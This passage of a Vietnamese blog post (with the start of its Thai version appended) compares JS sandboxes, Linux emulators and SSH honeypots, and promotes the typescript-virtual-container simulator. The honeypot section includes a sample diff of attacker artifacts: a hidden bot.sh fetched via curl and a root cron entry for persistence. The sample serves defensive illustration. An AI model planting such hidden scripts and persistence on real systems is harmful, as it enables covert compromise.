  • Ảnh chụp JSON -- có thể đọc được bởi con người, tốt cho debug
  • Lưu trữ TAR -- xuất/nhập với định dạng tar thực sự, vì vậy bạn có thể tar -xf một cái gì đó và VFS chỉ... có các file đó
  • Ảnh SquashFS -- nhập chỉ đọc

Trong chế độ bền vững "fs", nó duy trì một nhật ký ghi trước (WAL) để phục hồi sau sự cố -- ghi vào nhật ký trước, sau đó vào ảnh chụp khi flush. Nếu Node gặp sự cố giữa một thao tác, nhật ký cho phép bạn xây dựng lại trạng thái hoàn chỉnh cuối cùng.

Ngoài ra còn có một lớp FileCache mô phỏng độ trễ E/S đĩa. Bạn cấu hình các hồ sơ như NVME_DISK_IO hoặc HDD_DISK_IO và VFS làm trì hoãn nhân tạo các thao tác file để khớp với thời gian thực tế. Khá buồn cười -- một phần mềm cố tình làm chậm chính nó để mô phỏng phần cứng -- nhưng thực ra rất hữu ích cho benchmarking.

Trình thông dịch shell

Trình phân tích cú pháp shell tạo ra một AST được kiểu hóa:

// "ls /etc | grep root && echo done" phân tích thành:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

Trình thực thi duyệt AST này:

  • Cho một pipeline, nó tạo một chuỗi luồng { stdin, stdout, stderr } và thực thi mỗi lệnh với E/S được pipe
  • Cho các toán tử logic (&&, ||), nó kiểm tra $? sau vế trái trước khi thực thi vế phải
  • Cho sub-shell ($(...), ` `), nó phân nhánh context thực thi
  • Cho chuyển hướng (>file, >>file, 2>&1, <file), nó thiết lập kết nối luồng trước khi thực thi
  • Cho tác vụ nền (cmd &), nó thực thi mà không chờ hoàn thành
  • Cho biến, nó mở rộng $VAR, ${VAR:-default}, ${#VAR}, và số học $((expr))
  • Cho mở rộng dấu ngoặc nhọn ({a,b,c}, {1..5}), nó tạo ra danh sách mở rộng hoàn chỉnh trước khi thực thi

Tất cả đều là hành vi POSIX shell thực sự. Trình phân tích xử lý heredoc, thay thế tiến trình, glob (*, ?, [abc]), và xử lý dấu ngoặc kép (nháy đơn, nháy đôi với nội suy, thoát bằng dấu gạch chéo ngược). Nó không hoàn hảo -- các trường hợp biên tồn tại -- nhưng nó vượt xa những gì bạn mong đợi từ một dự án TypeScript.

~170 lệnh tích hợp

Các lệnh là các hàm TypeScript được đăng ký trong một registry lệnh. Chúng nhận một CommandContext với các luồng stdin/stdout/stderr, VFS, phiên người dùng, môi trường shell, và quyền truy cập vào các sub-module.

Viết 170 triển khai lệnh Unix là... rất nhiều. Một số đơn giản (echo, true, false), một số phức tạp đáng ngạc nhiên (awk, find, tar). Kiểu, một awk POSIX hoàn chỉnh? Trong TypeScript? Thật điên rồ thành thật mà nói. Đây là một mẫu những gì có trong đó:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (phía client, kết nối đi),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (stub), python3 (stub), node (stub),
nano (trình soạn thảo tương tác hoàn chỉnh), vim (cơ bản), vi (cơ bản),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (mô phỏng), systemctl (stub), journalctl (stub),
...và khoảng 130 lệnh khác

"Stub" (git, python3, node) trả lời một cách thực tế cho các lời gọi phổ biến -- python3 --version trả về một chuỗi phiên bản đáng tin cậy, git status hiển thị trạng thái kho chứa giả -- mà không làm việc thực sự. Đối với honeypot, chúng thực sự hữu ích hơn các lệnh thực sự, vì chúng cho phép bạn quan sát những gì kẻ tấn công cố gắng thực thi mà không thực thi bất cứ thứ gì nguy hiểm.

Máy chủ SSH

Lớp SSH sử dụng package npm ssh2 thực sự -- giao thức SSH thực sự, trao đổi khóa thực sự, mã hóa thực sự. SSHMimic bọc nó:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// SSH thực sự: ssh -p 2222 root@localhost
// SFTP thực sự: sftp -P 2222 root@localhost
// SCP thực sự: scp -P 2222 file root@localhost:/tmp/

shellProperties xác định những gì uname -a, lsb_release -a, neofetch, /proc/version, và /etc/os-release báo cáo. Bạn có thể bắt chước bất kỳ bản phân phối Linux và phiên bản nhân nào một cách thuyết phục -- đối với một client SSH thực sự, hoàn toàn không có cách nào để phân biệt.

Module HoneyPot

Bởi vì trình thông dịch shell là thực và máy chủ SSH là thực, lệnh của kẻ tấn công thực sự thực thi trong môi trường ảo. Các yêu cầu wget do kẻ tấn công kích hoạt được ghi lại với URL đích. Các file do kẻ tấn công tạo ra được lưu trong VFS. Các nỗ lực leo thang đặc quyền của kẻ tấn công tạo ra lỗi thực tế.

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// Sau một phiên, so sánh hệ thống file
const before = shell.vfs.toSnapshot();
// ... phiên của kẻ tấn công ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

Điều này khác về chất so với Cowrie. Hệ thống file giả của Cowrie có thể trả lời ls nhưng không thể thực sự theo dõi các file mà kẻ tấn công đã tạo và các sửa đổi chúng đã thực hiện dưới dạng một diff có cấu trúc. typescript-virtual-container có thể làm được, vì VFS là một cấu trúc dữ liệu sống -- mỗi ghi đều được theo dõi. Mục cron mà kẻ tấn công vừa thêm? Nó có trong diff. Thư mục .hidden đó? Trong diff. Khá hữu ích cho phân tích malware.

Stack mạng ảo

Đây có lẽ là phần ấn tượng nhất của toàn bộ dự án, và nó không có điểm tương đương trong bất kỳ dự án nào khác trong không gian này. Kiểu, một stack mạng ảo L2/L3 hoàn chỉnh với hỗ trợ VPN, được viết bằng TypeScript thuần túy, không có card mạng thực sự nào tham gia. Thực sự điên rồ.

VirtualNetworkManager cấp cho mỗi instance VirtualShell các giao diện mạng ảo với địa chỉ IP có thể cấu hình, bảng định tuyến, và tường lửa phần mềm (quy tắc kiểu iptables với conntrack và NAT). ip addr, ip route, iptables -L, netstat -rn đều hiển thị trạng thái mạng ảo.

VirtualSwitch (tên là Baie -- từ tiếng Pháp có nghĩa là tủ máy chủ, "baie informatique") kết nối nhiều shell trên một mạng con chia sẻ. Nó triển khai:

  • Học MAC và ARP
  • Định tuyến IP giữa các mạng con
  • NAT (masquerade đi)
  • DNS (bản ghi có thể cấu hình cho mỗi mạng con)
  • Cân bằng tải (round-robin, ít kết nối nhất)
  • Định hình lưu lượng: độ trễ, jitter (phân phối Gaussian), mất gói, mất gói theo chùm, sắp xếp lại, trùng lặp
  • Giới hạn băng thông (thùng chứa token)
  • Áp dụng MTU
  • Theo dõi kết nối (có trạng thái, trạng thái NEW/ESTABLISHED/TIME_WAIT)
const baie = new Baie("192.168.0.0/24");

// Ba máy ảo trên cùng một switch
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// Tường lửa: web có thể đến api, api có thể đến db, web không thể đến db trực tiếp
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// Định hình lưu lượng: mô phỏng liên kết WAN không ổn định ra ngoài
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn tạo các đường hầm mã hóa giữa các instance Baie -- bạn có thể mô phỏng một mạng đa địa điểm với các kết nối liên VPN giữa các địa điểm.

VirtualProxy triển khai chuyển tiếp cổng và proxy SOCKS5.

Không có thứ nào trong số này chạm vào card mạng thực sự. Tất cả đều là định tuyến đối tượng TypeScript. Lệnh ping "hoạt động" bằng cách định tuyến qua switch ảo và trả về phản hồi ICMP mô phỏng. curl http://192.168.0.3/api định tuyến qua mạng ảo, đến phản hồi HTTP mô phỏng của shell api, và trả về nội dung. Đó là rùa suốt từ dưới lên, theo nghĩa tốt nhất có thể.

SandboxedShell

Đối với sử dụng lập trình nơi bạn cần cô lập mạnh hơn, SandboxedShell thực thi một phiên shell trong một thread Worker Node.js:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // 25% của một lõi
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

Sự cô lập ở đây được đảm bảo bởi lớp VFS (shell của thread worker chỉ có thể thấy hệ thống file ảo, không bao giờ thấy hệ thống file chủ) cộng với cô lập bộ nhớ của thread Worker Node.js. Nó nhẹ hơn isolated-vm nhưng phù hợp hơn cho cô lập ở cấp shell thay vì cấp JS.

Giới hạn tài nguyên

Bạn có thể cấu hình giới hạn tài nguyên cho mỗi shell ảnh hưởng đến những gì các lệnh giám sát hệ thống báo cáo:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

Bên trong shell này, free -m hiển thị 512 MB RAM tổng. nproc trả về 2. /proc/meminfo hiển thị các giá trị bị giới hạn. htop và top hiển thị số CPU bị giới hạn. Điều này cho phép bạn xác định chính xác dấu chân phần cứng của máy được mô phỏng.

Ba chế độ triển khai

Chế độ 1: Máy chủ SSH/SFTP
  VirtualSshServer / VirtualSftpServer
  → Giao thức SSH thực, SFTP thực, SCP thực
  → Trường hợp sử dụng: honeypot, môi trường kiểm thử từ xa, phòng thí nghiệm đào tạo

Chế độ 2: Shell web (trình duyệt)
  builds/fortune-nyx-v1.7.8-web.min.js (bundle ESM)
  → Chạy trong trình duyệt, VFS được lưu trữ trong IndexedDB
  → Trường hợp sử dụng: hướng dẫn tương tác, terminal nhúng, demo
  → Phần thưởng: chạy startxfce4 cho một màn hình XFCE hoàn chỉnh được mô phỏng

Chế độ 3: CLI độc lập
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (một file duy nhất, không cần cài đặt)
  → curl và chạy, lưu trữ VFS trong thư mục .vfs/
  → Trường hợp sử dụng: demo nhanh, thử nghiệm cục bộ

Các polyfill -- cách build trình duyệt hoạt động mà không cần Wasm

OK đây là phần tôi thực sự thông minh và tôi muốn nhấn mạnh đặc biệt.

Làm cho một thư viện Node.js hoạt động trong trình duyệt thường là một cơn ác mộng. Hoặc bạn sử dụng runtime Wasm (nặng, chậm tải), hoặc bạn dành hàng tuần để thay thế thủ công mỗi import node:* bằng một thay thế tương thích trình duyệt. Fortune đã làm điều thứ hai -- nhưng rất sạch sẽ, bằng cách viết một bộ polyfill tùy chỉnh sống trong thư mục polyfills/ của kho lưu trữ.

Đường ống build chỉ là esbuild với một loạt các mục alias:

// demo/build.js -- toàn bộ cấu hình build trình duyệt
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

Không Wasm. Không thư viện polyfill bên ngoài. Không có mẹo webpack-node-externals. Chỉ là các module được alias và một số biến toàn cục được inject. Hãy để tôi phân tích từng cái vì một số thực sự ấn tượng.

node:fs -- IndexedDB như một hệ thống file giả

Cái này là yêu thích của tôi. Polyfill node:fs triển khai API Node.js fs đồng bộ (readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...) được hỗ trợ bởi hai lớp: một Map trong bộ nhớ cho các đọc đồng bộ, và IndexedDB cho sự bền vững giữa các lần tải lại trang. Ghi vào Map ngay lập tức (vì vậy readFileSync ngay sau writeFileSync luôn hoạt động), sau đó được xả vào IndexedDB một cách bất đồng bộ trong nền.

// Bộ nhớ đệm đồng bộ (đường dẫn → Uint8Array | null) -- đọc tức thì
const memCache = new Map();

// Tải trước mọi thứ từ IndexedDB vào memCache khi khởi động
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

Đây là lý do ảnh chụp VFS tồn tại qua các lần tải lại trang trong trình duyệt -- toàn bộ nhị phân .vfsb được ghi vào IndexedDB qua polyfill này, và đọc lại ở lần tải tiếp theo. Không Wasm. Không máy chủ. Chỉ IndexedDB, đã có trong mọi trình duyệt từ khoảng năm 2011.

node:crypto -- SHA-256 trong JS thuần túy

Thay vì import một thư viện crypto Wasm, polyfill crypto triển khai SHA-256 từ đầu sử dụng các hằng số vòng FIPS 180-4. 166 dòng JS thuần túy với hỗ trợ đầy đủ đầu ra hex/base64/Uint8Array. Tất cả hàm băm trong thư viện đều đi qua đây -- dấu vân tay khóa chủ SSH, checksum nội bộ, mọi thứ. Nhỏ gọn, không phụ thuộc, nó hoạt động.

node:os -- đọc phần cứng thực sự của trình duyệt

Cái này là một sự tinh tế đẹp. Thay vì trả về các giá trị giả cứng nhắc, node:os đọc navigator.deviceMemory cho RAM tổng và navigator.hardwareConcurrency cho số CPU. Vì vậy neofetch trong build trình duyệt thực sự báo cáo một cái gì đó khớp với máy thực của bạn -- không phải một stub giả 2 lõi, 2 GB RAM.

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB mặc định
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // cũng phân tích navigator.userAgent để đoán chuỗi mô hình CPU
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify -- các stub trung thực

Trình duyệt không thể mở socket TCP hoặc chạy SSH thực sự, vì vậy đây là các stub ném lỗi NotImplemented với một thông báo rõ ràng nếu có thứ gì đó cố gắng sử dụng chúng. Không thất bại im lặng, không có undefined trả về ở nơi một đối tượng được mong đợi. Chỉ một thông báo lớn, rõ ràng "cái này không hoạt động trong trình duyệt" -- chính xác những gì bạn muốn.

process.js và buffer.js -- các biến toàn cục được inject

Hai cái này được inject vào đầu mỗi file trong bundle qua tùy chọn inject của esbuild, vì vậy process và Buffer có sẵn trên toàn cục mà không cần import rõ ràng. process.js rất nhỏ: env, version, platform: 'browser', nextTick qua queueMicrotask, uptime qua performance.now(). buffer.js là một triển khai lại đầy đủ của Buffer trên Uint8Array -- tất cả các phương thức readUInt32BE, writeInt16LE, các mã hóa hex/base64 mà triển khai SSH và VFS phụ thuộc vào.


Toàn bộ polyfill có khoảng 640 dòng JS viết tay tổng cộng. Không có package npm. Không Wasm. Và kết quả là một bundle trình duyệt chỉ là thư viện, chạy nguyên bản, không có bất kỳ lo lắng thông thường "nhưng liệu nó có thực sự hoạt động trong trình duyệt không?" mà bạn có với các thư viện được thiết kế cho Node trước tiên. Đáng để xem qua thư mục polyfills/ trong kho lưu trữ nếu bạn tò mò -- mỗi file đều được chứa gọn và có thể đọc độc lập, đó là một lựa chọn phong cách mà tôi đánh giá rất cao.

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
Danh mục Sandbox JS Sandbox JS Sandbox JS Trình giả lập Trình giả lập Node.js/Wasm Honeypot Trình mô phỏng
Cô lập JS ⚠️ phạm vi ✅ V8 Isolate ✅ Wasm n/a n/a một phần n/a ✅ Worker
Nhân Linux thực ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
Trình thông dịch shell ❌ ❌ ❌ ✅ (thực) ✅ (thực) ✅ (thực) một phần ✅ (tùy chỉnh)
~170 lệnh Unix ❌ ❌ ❌ ✅ ✅ một phần ~20 ✅
Quyền POSIX ❌ ❌ ❌ ✅ ✅ ✅ một phần ✅ được áp dụng
Quản lý người dùng ❌ ❌ ❌ ✅ ✅ ❌ tối thiểu ✅ hoàn chỉnh
Máy chủ SSH thực ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Honeypot/kiểm toán ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
Diff/ảnh chụp VFS ❌ ❌ ❌ hạn chế ❌ ❌ ❌ ✅
Mạng ảo L2/L3 ❌ ❌ ❌ cơ bản ❌ ❌ ❌ ✅ hoàn chỉnh
VPN ảo ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
Hỗ trợ trình duyệt ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
Node.js gốc ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
API được kiểu hóa cơ bản ✅ ✅ tối thiểu ❌ ✅ ❌ ✅ hoàn chỉnh
Tương thích nhị phân n/a n/a n/a ✅ ✅ một phần n/a ❌
Thời gian khởi động tức thì tức thì tức thì 15-40s 15-40s 2-5s tức thì <1s
RAM/instance ~1 MB ~3-10 MB ~5-15 MB 150-256 MB 200+ MB ~100 MB ~50 MB ~5-20 MB
Phụ thuộc runtime 0 1 (native) 1 (Wasm) 0 độc quyền 1 phụ thuộc Python 3 (ssh2, ws, fflate)
Trạng thái ổn định ✅ hoạt động ✅ hoạt động ✅ rất tích cực thương mại ✅ hoạt động ✅ hoạt động ✅ hoạt động

Khi nào dùng cái gì

Bạn cần chạy JavaScript không đáng tin cậy -- một công thức do người dùng gửi, plugin, hook script.
→ isolated-vm. V8 Isolate thực sự, giới hạn bộ nhớ chặt chẽ, cầu nối giao tiếp rõ ràng. Tránh vm2 -- danh sách CVE chỉ ngày càng dài, nghiêm túc đấy, nó như một cái mới vài tháng một lần. Tránh vm -- nó hoàn toàn không phải sandbox, làm ơn.

Bạn cần cô lập JS và không muốn extension gốc, hoặc bạn cần tương thích trình duyệt.
→ quickjs-emscripten. Ranh giới Wasm, module khoảng 500 KB, hoạt động trong trình duyệt và Node. Chậm hơn V8 nhưng thực sự bị cô lập.

Bạn cần khởi động một hệ điều hành Linux thực sự chưa sửa đổi với tương thích nhị phân.
→ v86 cho Linux 32-bit, hoặc container2wasm nếu bạn có ảnh Docker có sẵn. Chấp nhận 150 MB+ RAM và 30 giây khởi động, đó là thỏa thuận. Nếu bạn cần 64-bit, hãy xem CheerpX hoặc chỉ sử dụng một runtime container thực sự.

Bạn cần nhúng một terminal kiểu Linux vào ứng dụng web mà không cần backend.
→ v86 (OS đầy đủ, nặng, chậm khởi động) hoặc bundle trình duyệt của typescript-virtual-container (trình mô phỏng, nhẹ hơn, khởi động tức thì, bao gồm startxfce4 cho một màn hình hoàn chỉnh khá tuyệt).

Bạn cần hướng dẫn lập trình tương tác trực tuyến hoặc IDE trong trình duyệt.
→ WebContainers nếu bạn tập trung vào hệ sinh thái Node.js. CheerpX nếu bạn cần một userspace Linux thực sự. Bundle trình duyệt của typescript-virtual-container nếu bạn muốn một tùy chọn nhẹ hơn với API được kiểu hóa.

Bạn muốn thu thập TTP của kẻ tấn công SSH ở quy mô lớn.
→ Cowrie là tiêu chuẩn production, hết. Chạy trên bất kỳ máy chủ Linux nào, tích hợp với tất cả SIEM, giờ có chế độ LLM. Chỉ cần dùng Cowrie.

Bạn muốn dữ liệu honeypot SSH trong một ứng dụng Node.js với API có thể lập trình.
→ typescript-virtual-container. Các lệnh thực sự thực thi. VFS là một cấu trúc dữ liệu thực sự mà bạn có thể chụp nhanh và so sánh khác biệt. Kẻ tấn công có được một môi trường tương tác thuyết phục, và bạn có được dữ liệu kiểm toán có cấu trúc mà không cần rời khỏi Node.

Bạn cần tự động hóa shell / kiểm thử trong CI mà không cần Docker.
→ typescript-virtual-container. Khởi động trong chưa đầy một giây, chụp nhanh trước một bài kiểm tra, khôi phục sau. Chạy lệnh shell với API được kiểu hóa. Không cần daemon Docker, không cần nhân, không cần VM, không phải chờ đợi.

Bạn cần môi trường shell đa người thuê (SaaS, giáo dục, đào tạo).
→ typescript-virtual-container. 5-20 MB mỗi instance so với 150-256 MB cho một trình giả lập. 100 người dùng đồng thời: ~2 GB so với ~25 GB. Đó là một khác biệt lớn về chi phí lưu trữ!

Bạn cần một honeypot thực tế mà còn cho phép bạn xây dựng một phòng thí nghiệm mạng đa VM.
→ typescript-virtual-container là thứ duy nhất trong không gian này làm được cả hai.


Những gì nó không thể làm (và tôi muốn thành thật về điều này)

Nó không thể chạy nhị phân x86 gốc. Nếu bạn cần biên dịch mã C, chạy một trình thông dịch Python thực sự, hoặc sử dụng phần mềm được biên dịch cho Linux, không có ABI nhân nào để hỗ trợ các lời gọi hệ thống đó. Các lệnh như gcc, python3, và node là các stub -- chúng trả lời --version và các lời gọi phổ biến, nhưng không thực thi bất cứ thứ gì thực sự.

Đó là sự đánh đổi cơ bản: bạn tiết kiệm được 10 đến 50 lần bộ nhớ, khởi động tức thì, tương thích trình duyệt, API được kiểu hóa, SSH thực sự, và mạng ảo -- và bạn từ bỏ tương thích nhị phân với userspace Linux.

Fortune đã suy nghĩ rất nhiều về điều này khi thiết kế dự án. Đối với các trường hợp sử dụng cô ấy nhắm đến -- honeypot, kiểm thử, terminal nhúng, môi trường CI -- chạy một nhị phân biên dịch thực sự không bao giờ cần thiết. Pipeline shell, thao tác file, định tuyến mạng và SSH bao phủ mọi thứ. Nhưng nếu trường hợp sử dụng của bạn yêu cầu phần mềm biên dịch thực sự, v86 hoặc Docker là câu trả lời đúng, không phải cái này.


Kết luận

Vậy là xong. Hệ sinh thái này rộng hơn và phân mảnh hơn so với vẻ ngoài của nó. vm là một bộ phân tách phạm vi, không phải sandbox. vm2 tiếp tục tích lũy CVE (thực sự đấy, hãy nhìn các cảnh báo của tháng này). isolated-vm là câu trả lời đúng cho cô lập JS nhưng chỉ JS. quickjs-emscripten là lựa chọn đúng khi bạn cần tương thích trình duyệt hoặc muốn tránh extension gốc. v86 và CheerpX là các trình giả lập thực sự khi bạn cần tương thích nhị phân thực sự. WebContainers là Node.js trong Wasm, không phải môi trường Linux đa năng. Cowrie là tiêu chuẩn vàng của honeypot SSH, nhưng nó là Python và không gốc Node.

Và sau đó có typescript-virtual-container -- dự án của Fortune -- sống trong một thể loại riêng của nó. Không phải trình giả lập, không phải sandbox JS, không phải honeypot thụ động. Một thứ gì đó ở giữa tất cả mà hóa ra lại hữu ích đáng ngạc nhiên cho nhiều thứ mà không cái nào khác có thể làm được.

typescript-virtual-container lấp đầy khoảng trống mà không cái nào khác chạm tới: một môi trường shell Linux hoàn chỉnh, có thể lập trình với SSH thực sự, SFTP, quyền POSIX, quản lý người dùng, mạng ảo, và API TypeScript được kiểu hóa -- chạy trong khoảng 10 MB, khởi động trong chưa đầy một giây, hoạt động cả trong Node.js và trình duyệt.

Nếu bạn muốn thử: mã nguồn có trên github.com/itsrealfortune/typescript-virtual-container và có một bản demo trực tuyến (bao gồm startxfce4 cho một màn hình hoàn chỉnh, thực sự rất đỉnh) tại itsrealfortune.fr/typescript-virtual-container/demo. Hãy xem và để lại vài ngôi sao cho Fortune trên GitHub, cô ấy xứng đáng!

Cảm ơn bạn đã đọc -- bài này dài ngay cả với tiêu chuẩn của tôi :) hy vọng nó hữu ích cho bạn!


Nguồn

Tôi đã cố gắng liên kết mọi tuyên bố với một nguồn chính -- cảnh báo CVE, tài liệu chính thức, kho GitHub, bài blog của người bảo trì. Vài ghi chú: danh sách CVE của vm2 tiếp tục dài ra, vì vậy liên kết FortiGuard có thể đã lỗi thời khi bạn đọc (hãy xem trang cảnh báo GitHub để biết các CVE mới nhất). Các liên kết Bellard đều ổn định -- trang web cá nhân của ông ấy đã tồn tại mãi mãi và nội dung không thay đổi. Và nếu bạn muốn tìm hiểu sâu hơn về bất kỳ polyfill nào, chỉ cần duyệt thư mục polyfills/ trong kho typescript-virtual-container trực tiếp -- nó dễ đọc hơn bất kỳ mô tả nào tôi có thể viết ở đây.

Sandbox JavaScript

Trình giả lập Linux

Stack terminal

Honeypot

typescript-virtual-container

Đọc thêm

เปรียบเทียบโซลูชัน JavaScript สำหรับการจำลองเคอร์เนล Linux

การวิเคราะห์เชิงลึกของการจำลองสภาพแวดล้อม Linux

ทุก sandbox JavaScript, เอมิวเลเตอร์, ซีมิวเลเตอร์ และ honeypot Linux -- เปรียบเทียบ

เอาล่ะ ก็ต้องบอกว่าผมดำดิ่งลงไปในหลุมกระต่ายนี้ลึกเกินไปแล้ว lol ทุกอย่างเริ่มต้นเพราะผมช่วยงานใน typescript-virtual-container -- โปรเจกต์ของ Fortune (ผมจะกลับมาพูดถึงเร็วๆ นี้) -- และมีคนถามผมตลอดเวลา "เดี๋ยวนะ มันต่างจาก v86 ยังไง?" หรือ "ทำไมไม่ใช้ vm2 ล่ะ?" -- และผมก็รู้ตัวว่าผมไม่สามารถตอบได้ชัดเจนถ้าไม่ได้ทำแผนที่ระบบนิเวศทั้งหมดก่อน ดังนั้น... เอาล่ะ เรามาถึงจุดนี้แล้วสินะ xD

ปรากฎว่ามีสี่ตระกูลหลัก -- JS sandbox, เอมิวเลเตอร์ Linux, ซีมิวเลเตอร์ Linux, และ honeypot -- และพวกมันแทบจะไม่ซ้อนทับกันเลย แม้ว่าจะถูกพูดถึงในประโยคเดียวกันตลอดเวลา คนที่สร้างระบบปลั๊กอินใช้ isolated-vm คนที่ทำเดโม่เครื่องมือ CLI ใช้ v86 คนที่ทำข่าวกรองภัยคุกคาม SSH ใช้ Cowrie พวกมันแก้ปัญหาที่แตกต่างกันโดยสิ้นเชิงภายใต้ร่มใหญ่เดียวกันคือ "รันโค้ดในกล่อง"

ผมใช้เวลามากมายในการอ่านซอร์สโค้ด, รายงาน CVE, เอกสารสถาปัตยกรรม และหน้า npm เพื่อเขียนบทความนี้ มันจะยาว -- หาแกฟฟี่มาสักแก้วนะ จริงๆ นะ หรือสองแก้วก็ได้

ข้อความเล็กน้อย: typescript-virtual-container ถูกกล่าวถึงในบทความนี้เพราะมันเป็นจุดเริ่มต้นของการวิจัยครั้งนี้ ผมพยายามที่จะยุติธรรมกับทุกอย่างอื่น แต่โปรดจำบริบทนี้ไว้


ส่วนที่ 0 -- ก่อนอื่น ปัญหาที่คุณกำลังแก้คืออะไร?

ก่อนที่จะดำดิ่ง ควรที่จะเข้าใจให้ชัดเจนว่าแต่ละตระกูลมีไว้ทำอะไร เพราะศัพท์เฉพาะทางเริ่มสับสนได้ง่ายและคนมักจะสับสนกันตลอดเวลา (รวมถึงผมด้วย ก่อนที่จะนั่งลงและทำแผนที่อย่างเป็นระบบ)

JS sandbox แยกโค้ด JavaScript ออกจากโพรเซส Node.js โฮสต์ โมเดลภัยคุกคามคือ: โค้ด JS ที่ไม่น่าเชื่อถือซึ่งอาจเรียก process.exit(), อ่านไฟล์, หรือเรียกโพรเซสลูก วิธีแก้คือขอบเขตรอบการทำงานของ V8 เครื่องมือเหล่านี้ไม่มีแนวคิดเกี่ยวกับ shell ของ Linux, ระบบไฟล์ที่มีสิทธิ์, หรือ SSH

เอมิวเลเตอร์ Linux รันเคอร์เนล Linux จริงที่ไม่ถูกแก้ไขในเอมิวเลเตอร์ CPU (x86, RISC-V, OR1K) ที่เขียนใน JavaScript หรือ WebAssembly คุณบูตระบบปฏิบัติการจริง คุณมี system call จริง คุณมีความเข้ากันได้ของไบนารีกับโปรแกรมที่คอมไพล์สำหรับ x86 ค่าใช้จ่ายด้านทรัพยากรมหาศาล

ซีมิวเลเตอร์ Linux เลียนแบบ พฤติกรรม ของระบบ Linux โดยไม่ต้องรันเคอร์เนลจริง พวกมันสร้างอินเทอร์พรีเตอร์ shell, ระบบไฟล์เสมือน, และความหมาย Unix มากพอที่จะหลอกโปรแกรมและมนุษย์ได้ ไม่มีเคอร์เนล ไม่มี Wasm ไม่มีการจำลอง CPU ใช้ทรัพยากรน้อยกว่ามาก

Honeypot ถูกออกแบบมาเพื่อดึงดูดผู้โจมตีและบันทึกสิ่งที่พวกเขาทำ พวกมันไม่ใช่สภาพแวดล้อมรันหลัก -- พวกมันคือเครื่องมือสังเกตการณ์ ความเที่ยงตรงต่อพฤติกรรม Linux จริงมีความสำคัญเท่าที่มันป้องกันไม่ให้ผู้โจมตีตรวจจับกับดัก

